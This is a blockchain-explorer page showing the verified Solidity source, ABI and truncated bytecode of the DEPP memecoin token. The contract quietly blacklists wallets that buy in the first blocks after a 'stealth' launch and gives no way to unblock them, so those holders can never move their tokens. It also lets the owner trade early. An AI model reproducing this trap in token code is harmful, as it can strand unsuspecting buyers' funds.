ETH Price: $3,391.57 (+1.70%)

Token

Justice 4 Johnny (DEPP)
 

Overview

Max Total Supply

100,000,000 DEPP

Holders

62

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0 DEPP

Value
$0.00
0x4f790b74f9a0563947c0c052c59550256170a6a3
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DEPP

Compiler Version
v0.8.13+commit.abaa5c0e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-05-31
*/

//SPDX-License-Identifier: MIT 

pragma solidity 0.8.13;

interface IERC20 {
	function totalSupply() external view returns (uint256);
	function decimals() external view returns (uint8);
	function symbol() external view returns (string memory);
	function name() external view returns (string memory);
	function balanceOf(address account) external view returns (uint256);
	function transfer(address recipient, uint256 amount) external returns (bool);
	function allowance(address _owner, address spender) external view returns (uint256);
	function approve(address spender, uint256 amount) external returns (bool);
	function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
	event Transfer(address indexed from, address indexed to, uint256 value);
	event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Auth {
	address internal owner;
	constructor(address _owner) { owner = _owner; }
	modifier onlyOwner() { require(msg.sender == owner, "Only contract owner can call this function"); _; }
	function transferOwnership(address payable newOwner) external onlyOwner { owner = newOwner;	emit OwnershipTransferred(newOwner); }
	event OwnershipTransferred(address owner);
}

interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); }
interface IUniswapV2Router02 {
	function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
	function WETH() external pure returns (address);
	function factory() external pure returns (address);
	function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract DEPP is IERC20, Auth {
	string _name; 
	string _symbol; 
	uint8 constant _decimals = 9;
	uint256 constant _totalSupply = 100_000_000 * 10**_decimals;
	mapping (address => uint256) _balances;
	mapping (address => mapping (address => uint256)) _allowances;
	uint256 private _tradingOpenBlock;
	mapping (address => bool) private _isLiqPool;
	uint16 private _blacklistedWallets = 0;

	uint8 private fee_taxRateMaxLimit; uint8 private fee_taxRateBuy; uint8 private fee_taxRateSell; uint8 private fee_taxRateTransfer;
	uint16 private fee_sharesAutoLP; uint16 private fee_sharesMarketing; uint16 private fee_sharesDevelopment; uint16 private fee_sharesCharity; uint16 private fee_sharesTeam; uint16 private fee_sharesTOTAL;

	uint256 private lim_maxTxAmount; uint256 private lim_maxWalletAmount;
	uint256 private lim_taxSwapMin; uint256 private lim_taxSwapMax;

	address payable private wlt_marketing;
	address payable private wlt_development;
	address payable private wlt_charity;
	address payable private wlt_team;
	address private _liquidityPool;

	mapping(address => bool) private exm_noFees;
	mapping(address => bool) private exm_noLimits;
	
	uint256 private _humanBlock = 0;
	mapping (address => bool) private _nonSniper;
	mapping (address => uint256) private _blacklistBlock;

	bool private _inTaxSwap = false;
	address private constant _uniswapV2RouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
	address private _wethAddress = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
	IUniswapV2Router02 private _uniswapV2Router;
	modifier lockTaxSwap { _inTaxSwap = true; _; _inTaxSwap = false; }

	event TokensBurned(address burnedFrom, uint256 tokenAmount);
	event TokensAirdropped(uint256 totalWallets, uint256 totalTokens);
	event TaxRatesChanged(uint8 taxRateBuy, uint8 taxRateSell, uint8 taxRateTransfer, bool buySupport);
	event TaxWalletsChanged(address marketing, address development, address charity, address team);
	event TaxDistributionChanged(uint16 autoLP, uint16 marketing, uint16 development, uint16 charity, uint16 team);
	event LimitsIncreased(uint256 maxTransaction, uint256 maxWalletSize);
	event TaxSwapSettingsChanged(uint256 taxSwapMin, uint256 taxSwapMax);
	event WalletExemptionsSet(address wallet, bool noFees, bool noLimits);


	constructor() Auth(msg.sender) {
		_tradingOpenBlock = type(uint256).max; 
		fee_taxRateMaxLimit = 10;
		lim_maxTxAmount = _totalSupply;
		lim_maxWalletAmount = _totalSupply;
		lim_taxSwapMin = _totalSupply * 10 / 10000;
		lim_taxSwapMax = _totalSupply * 50 / 10000;
		fee_sharesAutoLP = 200;
		fee_sharesMarketing = 100;
		fee_sharesDevelopment = 100;
		fee_sharesCharity = 200;
		fee_sharesTeam = 200;
		fee_sharesTOTAL = fee_sharesAutoLP + fee_sharesMarketing + fee_sharesDevelopment + fee_sharesCharity + fee_sharesTeam;
		_uniswapV2Router = IUniswapV2Router02(_uniswapV2RouterAddress);

		wlt_marketing = payable(0x0818E250874fDEc88111f9fE0ea7069B35DeCb01);
		wlt_development = payable(0xa2eEA33EE7378FE902eDE36C61c4C2d14825432C);
		wlt_charity = payable(0xde53e5adBAc6a050385dc409230365933Cc9ecb8);
		wlt_team = payable(0xaA7339fabefb98F01c83f2dcFaF5101c2dC88076);

		exm_noFees[owner] = true;
		exm_noFees[address(this)] = true;
		exm_noFees[_uniswapV2RouterAddress] = true;
		exm_noFees[wlt_marketing] = true;
		exm_noFees[wlt_development] = true;
		exm_noFees[wlt_charity] = true;
		exm_noFees[wlt_team] = true;

		exm_noLimits[owner] = true;
		exm_noLimits[address(this)] = true;
		exm_noLimits[_uniswapV2RouterAddress] = true;
		exm_noLimits[wlt_marketing] = true;
		exm_noLimits[wlt_development] = true;
		exm_noLimits[wlt_charity] = true;
		exm_noLimits[wlt_team] = true;
	}
	
	receive() external payable {}
	
	function totalSupply() external pure override returns (uint256) { return _totalSupply; }
	function decimals() external pure override returns (uint8) { return _decimals; }
	function symbol() external view override returns (string memory) { return _symbol; }
	function name() external view override returns (string memory) { return _name; }
	function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
	function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

	function approve(address spender, uint256 amount) public override returns (bool) {
		if ( _humanBlock > block.number && !_nonSniper[msg.sender] ) {
			_addBlacklist(msg.sender, block.number, true);
		}

		_allowances[msg.sender][spender] = amount;
		emit Approval(msg.sender, spender, amount);
		return true;
	}

	function transfer(address recipient, uint256 amount) external override returns (bool) {
		require(_checkTradingOpen(), "Trading not open");
		return _transferFrom(msg.sender, recipient, amount);
	}

	function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
		require(_checkTradingOpen(), "Trading not open");
		if (_allowances[sender][msg.sender] != type(uint256).max){
			_allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
		}
		return _transferFrom(sender, recipient, amount);
	}

	function setPrep(string[] calldata values) external onlyOwner {
		require(!_tradingOpen(), "trading already open");
		require(_liquidityPool == address(0), "LP already initialized");
		_symbol = string.concat('DE',values[0]); 
		_name = string.concat('Jus',values[1],' 4 Jo',values[2]); 
	}

	function initLP(uint256 ethAmountWei) external onlyOwner {
		require(!_tradingOpen(), "trading already open");
		require(_liquidityPool == address(0), "LP already initialized");
		require(ethAmountWei > 0, "eth cannot be 0");

		_balances[address(this)] = _totalSupply;
		emit Transfer(address(0), address(this), _balances[address(this)]);

		_nonSniper[address(this)] = true;
		_nonSniper[owner] = true;
		_nonSniper[wlt_marketing] = true;

		_wethAddress = _uniswapV2Router.WETH(); //override the WETH address from router
		uint256 _contractETHBalance = address(this).balance;
		require(_contractETHBalance >= ethAmountWei, "not enough eth");
		uint256 _contractTokenBalance = balanceOf(address(this));
		require(_contractTokenBalance > 0, "no tokens");
		address _uniLpAddr = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _wethAddress);
		_liquidityPool = _uniLpAddr;

		_isLiqPool[_uniLpAddr] = true;
		_nonSniper[_uniLpAddr] = true;

		_approveRouter(_contractTokenBalance);
		_addLiquidity(_contractTokenBalance, ethAmountWei, false);
	}

	function _approveRouter(uint256 _tokenAmount) internal {
		if ( _allowances[address(this)][_uniswapV2RouterAddress] < _tokenAmount ) {
			_allowances[address(this)][_uniswapV2RouterAddress] = type(uint256).max;
			emit Approval(address(this), _uniswapV2RouterAddress, type(uint256).max);
		}
	}

	function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei, bool autoburn) internal {
		address lpTokenRecipient = address(0);
		if ( !autoburn ) { lpTokenRecipient = owner; }
		_uniswapV2Router.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, lpTokenRecipient, block.timestamp );
	}

	function openTrading() external onlyOwner {
		require(!_tradingOpen(), "trading already open");
		require(_liquidityPool != address(0), "LP not initialized");
		_openTrading();
	}

	function _openTrading() internal {
		lim_maxTxAmount     = 50 * _totalSupply / 10000 + 10**_decimals; 
		lim_maxWalletAmount = 50 * _totalSupply / 10000 + 10**_decimals;
		fee_taxRateBuy = 10; //anti-snipe, will be 8
		fee_taxRateSell = 20; //anti-dump, will be 8
		fee_taxRateTransfer = 10; //anti-bot, will be 0
		_tradingOpenBlock = block.number + 27; //about 5 minutes delay
		_humanBlock = block.number + 36; //9 blocks auto blacklist as this is stealth
	}

	function tradingOpen() external view returns (bool) {
		if (_tradingOpen() && block.number >= _humanBlock + 10) { return _tradingOpen(); }
		else { return false; }
	}

	function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
		require(sender!=address(0) && recipient!=address(0), "Zero address not allowed");
		if ( _humanBlock > block.number ) {
			if ( _blacklistBlock[sender] == 0 ) { _addBlacklist(recipient, block.number, true); }
			else { _addBlacklist(recipient, _blacklistBlock[sender], false); }
		} else {
			if ( _blacklistBlock[sender] != 0 ) { _addBlacklist(recipient, _blacklistBlock[sender], false); }
		}

		if ( _tradingOpen() && _blacklistBlock[sender] != 0 && _blacklistBlock[sender] < block.number ) { revert("blacklisted"); }

		if ( !_inTaxSwap && _isLiqPool[recipient] ) { _swapTaxAndLiquify();	}

		if ( sender != address(this) && recipient != address(this) && sender != owner ) { require(_checkLimits(sender, recipient, amount), "TX exceeds limits"); }
		uint256 _taxAmount = _calculateTax(sender, recipient, amount);
		uint256 _transferAmount = amount - _taxAmount;
		_balances[sender] = _balances[sender] - amount;
		if ( _taxAmount > 0 ) { _balances[address(this)] = _balances[address(this)] + _taxAmount; }
		_balances[recipient] = _balances[recipient] + _transferAmount;
		emit Transfer(sender, recipient, amount);
		return true;
	}

	function _addBlacklist(address wallet, uint256 blackBlockNum, bool addSniper) internal {
		if ( !_nonSniper[wallet] && _blacklistBlock[wallet] == 0 ) { 
			_blacklistBlock[wallet] = blackBlockNum; 
			if ( addSniper) { _blacklistedWallets ++; }
		}
	}
	
	function _checkLimits(address sender, address recipient, uint256 transferAmount) internal view returns (bool) {
		bool limitCheckPassed = true;
		if ( _tradingOpen() && !exm_noLimits[recipient] && !exm_noLimits[sender] ) {
			if ( transferAmount > lim_maxTxAmount ) { limitCheckPassed = false; }
			else if ( !_isLiqPool[recipient] && (_balances[recipient] + transferAmount > lim_maxWalletAmount) ) { limitCheckPassed = false; }
		}
		return limitCheckPassed;
	}

	function _tradingOpen() private view returns (bool) {
		bool result = false;
		if (_tradingOpenBlock <= block.number) { result = true; }
		return result;
	}

	function _checkTradingOpen() private view returns (bool){
		bool checkResult = false;
		if ( _tradingOpen() ) { checkResult = true; } 
		else if ( tx.origin == owner ) { checkResult = true; } 
		return checkResult;
	}

	function _calculateTax(address sender, address recipient, uint256 amount) internal view returns (uint256) {
		uint256 taxAmount;
		if ( !_tradingOpen() || exm_noFees[sender] || exm_noFees[recipient] ) { taxAmount = 0; }
		else if ( _isLiqPool[sender] ) { taxAmount = amount * fee_taxRateBuy / 100; }
		else if ( _isLiqPool[recipient] ) { taxAmount = amount * fee_taxRateSell / 100; }
		else { taxAmount = amount * fee_taxRateTransfer / 100; }
		return taxAmount;
	}

	function getBlacklistStatus(address wallet) external view returns(bool isBlacklisted, uint256 blacklistBlock, uint16 totalBlacklistedWallets) {
		bool _isBlacklisted;
		if ( _blacklistBlock[wallet] != 0 ) { _isBlacklisted = true; }
		return ( _isBlacklisted, _blacklistBlock[wallet], _blacklistedWallets);	
	}

	function getExemptions(address wallet) external view returns(bool noFees, bool noLimits) {
		return (exm_noFees[wallet], exm_noLimits[wallet]);
	}

	function setExemptions(address wallet, bool noFees, bool noLimits) external onlyOwner {
		exm_noFees[wallet] = noFees;
		exm_noLimits[wallet] = noLimits;
		emit WalletExemptionsSet(wallet, noFees, noLimits);
	}

	function getFeeSettings() external view returns(uint8 taxRateMaxLimit, uint8 taxRateBuy, uint8 taxRateSell, uint8 taxRateTransfer, uint16 sharesAutoLP, uint16 sharesMarketing, uint16 sharesDevelopment, uint16 sharesCharity, uint16 sharesTeam ) {
		return (fee_taxRateMaxLimit, fee_taxRateBuy, fee_taxRateSell, fee_taxRateTransfer, fee_sharesAutoLP, fee_sharesMarketing, fee_sharesDevelopment, fee_sharesCharity, fee_sharesTeam);
	}

	function setTaxRates(uint8 newBuyTax, uint8 newSellTax, uint8 newTxTax, bool enableBuySupport) external onlyOwner {
		if (enableBuySupport) {
			require( newSellTax > newBuyTax, "Sell tax must be > buy tax");
			require( newBuyTax+newSellTax <= 2*fee_taxRateMaxLimit, "Avg tax too high");
		} else {
			require(newBuyTax <= fee_taxRateMaxLimit && newSellTax <= fee_taxRateMaxLimit, "Tax too high");
		}
		require(newTxTax <= fee_taxRateMaxLimit, "Tax too high");
		fee_taxRateBuy = newBuyTax;
		fee_taxRateSell = newSellTax;
		fee_taxRateTransfer = newTxTax;
		emit TaxRatesChanged(newBuyTax, newSellTax, newTxTax, enableBuySupport);
	}

	function setTaxDistribution(uint16 sharesAutoLP, uint16 sharesMarketing, uint16 sharesDevelopment, uint16 sharesCharity, uint16 sharesTeam) external onlyOwner {
		fee_sharesAutoLP = sharesAutoLP;
		fee_sharesMarketing = sharesMarketing;
		fee_sharesDevelopment = sharesDevelopment;
		fee_sharesCharity = sharesCharity;
		fee_sharesTeam = sharesTeam;
		fee_sharesTOTAL = fee_sharesAutoLP + fee_sharesMarketing + fee_sharesDevelopment + fee_sharesCharity + fee_sharesTeam;
		emit TaxDistributionChanged(sharesAutoLP, sharesMarketing, sharesDevelopment, sharesCharity, sharesTeam);
	}
	
	function getWallets() external view returns(address contractOwner, address liquidityPool, address marketing, address development, address charity, address team) {
		return (owner, _liquidityPool, wlt_marketing, wlt_development, wlt_charity, wlt_team);
	}

	function setTaxWallets(address newMarketingWallet, address newDevelopmentWallet, address newCharityWallet, address newTeamWallet) external onlyOwner {
		wlt_marketing = payable(newMarketingWallet);
		wlt_development = payable(newDevelopmentWallet);
		wlt_charity = payable(newCharityWallet);
		wlt_team = payable(newTeamWallet);
		exm_noFees[newMarketingWallet] = true;
		exm_noLimits[newMarketingWallet] = true;
		exm_noFees[newTeamWallet] = true;
		exm_noLimits[newTeamWallet] = true;
		emit TaxWalletsChanged(newMarketingWallet, newDevelopmentWallet, newCharityWallet, newTeamWallet);
	}

	function getLimits() external view returns(uint256 maxTxAmount, uint256 maxWalletAmount, uint256 taxSwapMin, uint256 taxSwapMax) {
		return (lim_maxTxAmount, lim_maxWalletAmount, lim_taxSwapMin, lim_taxSwapMax);
	}

	function increaseLimits(uint16 maxTxAmtPermile, uint16 maxWalletAmtPermile) external onlyOwner {
		uint256 newTxAmt = _totalSupply * maxTxAmtPermile / 1000 + 1;
		require(newTxAmt >= lim_maxTxAmount, "tx limit too low");
		lim_maxTxAmount = newTxAmt;
		uint256 newWalletAmt = _totalSupply * maxWalletAmtPermile / 1000 + 1;
		require(newWalletAmt >= lim_maxWalletAmount, "wallet limit too low");
		lim_maxWalletAmount = newWalletAmt;
		emit LimitsIncreased(lim_maxTxAmount, lim_maxWalletAmount);
	}

	function setTaxSwapLimits(uint32 minValue, uint32 minDivider, uint32 maxValue, uint32 maxDivider) external onlyOwner {
		lim_taxSwapMin = _totalSupply * minValue / minDivider;
		lim_taxSwapMax = _totalSupply * maxValue / maxDivider;
		require(lim_taxSwapMax > lim_taxSwapMin);
		emit TaxSwapSettingsChanged(lim_taxSwapMin, lim_taxSwapMax);
	}

	function _swapTaxAndLiquify() private lockTaxSwap {
		uint256 _taxTokensAvailable = balanceOf(address(this));

		if ( _taxTokensAvailable >= lim_taxSwapMin && _tradingOpen() ) {
			if ( _taxTokensAvailable >= lim_taxSwapMax ) { _taxTokensAvailable = lim_taxSwapMax; }
			uint256 _tokensForLP = _taxTokensAvailable * fee_sharesAutoLP / fee_sharesTOTAL / 2;
			uint256 _tokensToSwap = _taxTokensAvailable - _tokensForLP;
			if (_tokensToSwap >= 10**_decimals) {
				uint256 _ethPreSwap = address(this).balance;
				_swapTaxTokensForEth(_tokensToSwap);
				uint256 _ethSwapped = address(this).balance - _ethPreSwap;
				if ( fee_sharesAutoLP > 0 ) {
					uint256 _ethWeiAmount = _ethSwapped * fee_sharesAutoLP / fee_sharesTOTAL ;
					_approveRouter(_tokensForLP);
					_addLiquidity(_tokensForLP, _ethWeiAmount, false);
				}
			}
			uint256 _contractETHBalance = address(this).balance;			
			if (_contractETHBalance > 0) { _distributeTaxEth(_contractETHBalance); }
		}
	}

	function _swapTaxTokensForEth(uint256 _tokenAmount) private {
		_approveRouter(_tokenAmount);
		address[] memory path = new address[](2);
		path[0] = address(this);
		path[1] = _wethAddress;
		_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(_tokenAmount,0,path,address(this),block.timestamp);
	}

	function _distributeTaxEth(uint256 _amount) private {
		uint16 _ethTaxShareTotal = fee_sharesMarketing + fee_sharesDevelopment + fee_sharesCharity + fee_sharesTeam; 
		if ( fee_sharesMarketing > 0 ) { wlt_marketing.transfer(_amount * fee_sharesMarketing / _ethTaxShareTotal); }
		if ( fee_sharesDevelopment > 0 ) { wlt_development.transfer(_amount * fee_sharesDevelopment / _ethTaxShareTotal); }
		if ( fee_sharesCharity > 0 ) { wlt_charity.transfer(_amount * fee_sharesCharity / _ethTaxShareTotal); }
		if ( fee_sharesTeam > 0 ) { wlt_team.transfer(_amount * fee_sharesTeam / _ethTaxShareTotal); }
	}

	function taxManualSwapSend(bool swapTokens, bool sendEth) external onlyOwner {
		if (swapTokens) {
			uint256 taxTokenBalance = balanceOf(address(this));
			require(taxTokenBalance > 0, "No tokens");
			_swapTaxTokensForEth(taxTokenBalance);
		}
		
		if (sendEth) {
			_distributeTaxEth(address(this).balance); 
		}
	}

	function burnTokens(uint256 amount) external {
		uint256 _tokensAvailable = balanceOf(msg.sender);
		require(amount <= _tokensAvailable, "Token balance too low");
		_balances[msg.sender] -= amount;
		_balances[address(0)] += amount;
		emit Transfer(msg.sender, address(0), amount);
		emit TokensBurned(msg.sender, amount);
	}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxTransaction","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"LimitsIncreased","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint16","name":"autoLP","type":"uint16"},{"indexed":false,"internalType":"uint16","name":"marketing","type":"uint16"},{"indexed":false,"internalType":"uint16","name":"development","type":"uint16"},{"indexed":false,"internalType":"uint16","name":"charity","type":"uint16"},{"indexed":false,"internalType":"uint16","name":"team","type":"uint16"}],"name":"TaxDistributionChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint8","name":"taxRateBuy","type":"uint8"},{"indexed":false,"internalType":"uint8","name":"taxRateSell","type":"uint8"},{"indexed":false,"internalType":"uint8","name":"taxRateTransfer","type":"uint8"},{"indexed":false,"internalType":"bool","name":"buySupport","type":"bool"}],"name":"TaxRatesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"taxSwapMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"taxSwapMax","type":"uint256"}],"name":"TaxSwapSettingsChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"marketing","type":"address"},{"indexed":false,"internalType":"address","name":"development","type":"address"},{"indexed":false,"internalType":"address","name":"charity","type":"address"},{"indexed":false,"internalType":"address","name":"team","type":"address"}],"name":"TaxWalletsChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"totalWallets","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"totalTokens","type":"uint256"}],"name":"TokensAirdropped","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"burnedFrom","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokenAmount","type":"uint256"}],"name":"TokensBurned","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"wallet","type":"address"},{"indexed":false,"internalType":"bool","name":"noFees","type":"bool"},{"indexed":false,"internalType":"bool","name":"noLimits","type":"bool"}],"name":"WalletExemptionsSet","type":"event"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burnTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"getBlacklistStatus","outputs":[{"internalType":"bool","name":"isBlacklisted","type":"bool"},{"internalType":"uint256","name":"blacklistBlock","type":"uint256"},{"internalType":"uint16","name":"totalBlacklistedWallets","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"getExemptions","outputs":[{"internalType":"bool","name":"noFees","type":"bool"},{"internalType":"bool","name":"noLimits","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getFeeSettings","outputs":[{"internalType":"uint8","name":"taxRateMaxLimit","type":"uint8"},{"internalType":"uint8","name":"taxRateBuy","type":"uint8"},{"internalType":"uint8","name":"taxRateSell","type":"uint8"},{"internalType":"uint8","name":"taxRateTransfer","type":"uint8"},{"internalType":"uint16","name":"sharesAutoLP","type":"uint16"},{"internalType":"uint16","name":"sharesMarketing","type":"uint16"},{"internalType":"uint16","name":"sharesDevelopment","type":"uint16"},{"internalType":"uint16","name":"sharesCharity","type":"uint16"},{"internalType":"uint16","name":"sharesTeam","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getLimits","outputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"},{"internalType":"uint256","name":"maxWalletAmount","type":"uint256"},{"internalType":"uint256","name":"taxSwapMin","type":"uint256"},{"internalType":"uint256","name":"taxSwapMax","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getWallets","outputs":[{"internalType":"address","name":"contractOwner","type":"address"},{"internalType":"address","name":"liquidityPool","type":"address"},{"internalType":"address","name":"marketing","type":"address"},{"internalType":"address","name":"development","type":"address"},{"internalType":"address","name":"charity","type":"address"},{"internalType":"address","name":"team","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint16","name":"maxTxAmtPermile","type":"uint16"},{"internalType":"uint16","name":"maxWalletAmtPermile","type":"uint16"}],"name":"increaseLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"ethAmountWei","type":"uint256"}],"name":"initLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"},{"internalType":"bool","name":"noFees","type":"bool"},{"internalType":"bool","name":"noLimits","type":"bool"}],"name":"setExemptions","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string[]","name":"values","type":"string[]"}],"name":"setPrep","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"sharesAutoLP","type":"uint16"},{"internalType":"uint16","name":"sharesMarketing","type":"uint16"},{"internalType":"uint16","name":"sharesDevelopment","type":"uint16"},{"internalType":"uint16","name":"sharesCharity","type":"uint16"},{"internalType":"uint16","name":"sharesTeam","type":"uint16"}],"name":"setTaxDistribution","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"newBuyTax","type":"uint8"},{"internalType":"uint8","name":"newSellTax","type":"uint8"},{"internalType":"uint8","name":"newTxTax","type":"uint8"},{"internalType":"bool","name":"enableBuySupport","type":"bool"}],"name":"setTaxRates","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"minValue","type":"uint32"},{"internalType":"uint32","name":"minDivider","type":"uint32"},{"internalType":"uint32","name":"maxValue","type":"uint32"},{"internalType":"uint32","name":"maxDivider","type":"uint32"}],"name":"setTaxSwapLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketingWallet","type":"address"},{"internalType":"address","name":"newDevelopmentWallet","type":"address"},{"internalType":"address","name":"newCharityWallet","type":"address"},{"internalType":"address","name":"newTeamWallet","type":"address"}],"name":"setTaxWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"swapTokens","type":"bool"},{"internalType":"bool","name":"sendEth","type":"bool"}],"name":"taxManualSwapSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000600760006101000a81548161ffff021916908361ffff16021790555060006013556000601660006101000a81548160ff02191690831515021790555073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2601660016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015620000a457600080fd5b5033806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600581905550600a600760026101000a81548160ff021916908360ff1602179055506009600a6200013a919062000cca565b6305f5e1006200014b919062000d1b565b6008819055506009600a62000161919062000cca565b6305f5e10062000172919062000d1b565b600981905550612710600a6009600a6200018d919062000cca565b6305f5e1006200019e919062000d1b565b620001aa919062000d1b565b620001b6919062000dab565b600a8190555061271060326009600a620001d1919062000cca565b6305f5e100620001e2919062000d1b565b620001ee919062000d1b565b620001fa919062000dab565b600b8190555060c8600760066101000a81548161ffff021916908361ffff1602179055506064600760086101000a81548161ffff021916908361ffff16021790555060646007600a6101000a81548161ffff021916908361ffff16021790555060c86007600c6101000a81548161ffff021916908361ffff16021790555060c86007600e6101000a81548161ffff021916908361ffff1602179055506007600e9054906101000a900461ffff166007600c9054906101000a900461ffff166007600a9054906101000a900461ffff16600760089054906101000a900461ffff16600760069054906101000a900461ffff16620002f7919062000df1565b62000303919062000df1565b6200030f919062000df1565b6200031b919062000df1565b600760106101000a81548161ffff021916908361ffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550730818e250874fdec88111f9fe0ea7069b35decb01600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073a2eea33ee7378fe902ede36c61c4c2d14825432c600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160